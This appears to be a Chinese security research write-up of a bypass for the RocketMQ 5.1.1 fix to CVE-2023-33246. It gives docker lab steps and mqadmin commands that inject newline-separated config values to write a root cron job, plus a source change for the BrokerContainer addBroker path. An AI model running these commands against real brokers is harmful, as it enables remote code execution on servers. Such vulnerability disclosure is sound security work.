RocketMQ 5.1.1写计划任务RCE
CVE-2023-33246 是通过updateBrokerConfig
更新Broker的filterServerNums
和rocketmqHome
这两项配置进行RCE的(rocketmqHome
会被拼接到命令中执行,filterServerNums
>0 是进入命令执行的前提条件)
修复的逻辑是直接删除相关代码
但从仓库的修复代码来看,还存在另一处RCE的点,不过官方只发布了上述一个CVE编号
另一处RCE的修复代码为:https://github.com/apache/rocketmq/pull/6733/files
修复的逻辑是不允许远程更新以下配置项:
brokerConfigPath
configStorePath
kvConfigPath
configStorePathName
而这些配置项都是指定不同配置文件的存储路径,那么RCE的方式就是在root权限的前提下将配置文件的路径改为cron定时任务路径
这个RCE的点随 CVE-2023-33246 一起于 RocketMQ 5.1.1 的发布而修复
然而官方的这种修复方式存在绕过
利用条件
受影响的服务有两个,Broker 和 BrokerContainer,利用条件不同:
- Broker (默认端口10911)
- root权限运行
- 重启一次
- cron服务
- BrokerContainer (默认端口10811)
- root权限运行
- cron服务
断点调试
Broker或者NameSrv等服务会监听端口,以RocketMQ协议通信(TCP + JSON),在相应服务的processRequest
中下断点即可
org.apache.rocketmq.broker.processor.AdminBrokerProcessor#processRequest
org.apache.rocketmq.namesrv.processor.DefaultRequestProcessor#processRequest
org.apache.rocketmq.container.BrokerContainerProcessor#processRequest
绕过方法一(攻击Broker)
环境搭建
dockerfile
1 | FROM openjdk:8u342-jdk |
docker-compose.yml
1 | version: '2' |
启动环境之后,需要手动在Broker机器上开启cron
1 | service cron start |
复现步骤
有多种方式可以远程更新RocketMQ配置,最简单的是起一个RocketMQ的docker环境,利用其中的mqadmin命令行工具
更新其他配置,通过换行符注入自定义配置项
1 | ./mqadmin updateBrokerConfig -k storePathRootDir -v '/tmp/store\nbrokerConfigPath=/etc/cron.d/test' -b host.docker.internal:10911 |
执行完这条命令后,远端Broker的storePathRootDir
这项配置在内存中的值是/tmp/store\nbrokerConfigPath=/etc/cron.d/test
,但同时这项配置也会被写入配置文件,在Broker这台机器上,配置文件conf/broker.conf
内容将会如下:
1 | ... |
让远端Broker配置文件中的配置生效
目前只是配置文件中的brokerConfigPath
为指定的计划任务路径,其实并未被程序读取加载,让远端读取加载的方式可能存在多种,目前我只发现重启机器的方法(很鸡肋
1 | docker restart rmqbroker |
容器中的cron不会自启动,还需要再次进入Broker容器手动启动cron
在配置文件中写入计划任务
1 | ./mqadmin updateBrokerConfig -k bindAddress -v '0.0.0.0\n* * * * * root touch /tmp/success' -b host.docker.internal:10911 |
此时Broker就会将配置写入/etc/cron.d/test
文件
还需要将value为空的配置进行数据填充
1 | ./mqadmin updateBrokerConfig -k controllerAddr -v 127.0.0.1 -b host.docker.internal:10911 |
因为测试cron的时候遇到一个坑,当计划任务文件包含
key=空
的行时将不会执行,不知道其他版本或系统是否这样
至多1分钟后,命令将被执行
绕过方法二(攻击BrokerContainer)
BrokerContainer介绍:https://github.com/apache/rocketmq/wiki/RIP-31-Support-RocketMQ-BrokerContainer
环境
docker-compose.yml 需要修改如下:
1 | version: '2' |
启动环境之后,需要手动在BrokerContainer机器上开启cron
1 | service cron start |
复现
创建配置文件路径为计划任务的Broker
测试环境中启动mqbrokercontainer的时候是没有指定brokerConfigPaths
的,所以默认只有brokercontainer服务,没有具体Broker。可以用./mqadmin addBroker
启动一个Broker
相关代码中存在如下逻辑:
org.apache.rocketmq.container.BrokerContainerProcessor#addBroker
1 | String configPath = requestHeader.getConfigPath(); |
如果未指定configPath
的话,将会从请求包中直接读取配置,然而configPath
对于mqadmin
的addBroker
指令是必选项,而且无法自定义包体的内容
usage: mqadmin addBroker -b
-c [-h] [-n ]
-b,–brokerConfigPathBroker config path
-c,–brokerContainerAddrBroker container address
-h,–help Print help
-n,–namesrvAddrName server address list, eg: ‘192.168.0.1:9876;192.168.0.2:9876’
所以我们需要自己构造RocketMQ协议,或者直接修改源码进行调用,这里我采用了后者:
这条命令./mqadmin addBroker -c host.docker.internal:10811 -b ''
其实也是调用Java,完整命令行参数如下:
1 | /usr/local/openjdk-8/bin/java -server -Xms1g -Xmx1g -Xmn256m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=128m -cp .:/rocketmq-all-5.1.1-bin-release/bin/../conf:/rocketmq-all-5.1.1-bin-release/bin/../lib/*: -Drmq.logback.configurationFile=/rocketmq-all-5.1.1-bin-release/conf/rmq.tools.logback.xml org.apache.rocketmq.tools.command.MQAdminStartup addBroker -c host.docker.internal:10811 -b |
那么这样修改源码进行调用效果是一样的:
org.apache.rocketmq.tools.command.MQAdminStartup#main
1 | public static void main(String[] args) { |
接着通过request.setBody
添加包体:
org.apache.rocketmq.client.impl.MQClientAPIImpl#addBroker
1 | RemotingCommand request = RemotingCommand.createRequestCommand(RequestCode.ADD_BROKER, requestHeader); |
这样让远端BrokerContainer服务启动Broker成功后,默认端口是在6888,当然也可以在配置内容中指定端口
触发配置文件写入
目前配置都在内存中,再一次通过mqadmin
注入配置就可以将配置文件导出到对应路径
1 | ./mqadmin updateBrokerConfig -k storePathRootDir -v '/tmp/store\n* * * * * root touch /tmp/success' -b host.docker.internal:6888 |
还需要将value为空的配置进行数据填充
1 | ./mqadmin updateBrokerConfig -k controllerAddr -v 127.0.0.1 -b host.docker.internal:6888 |
同样至多1分钟后,命令将被执行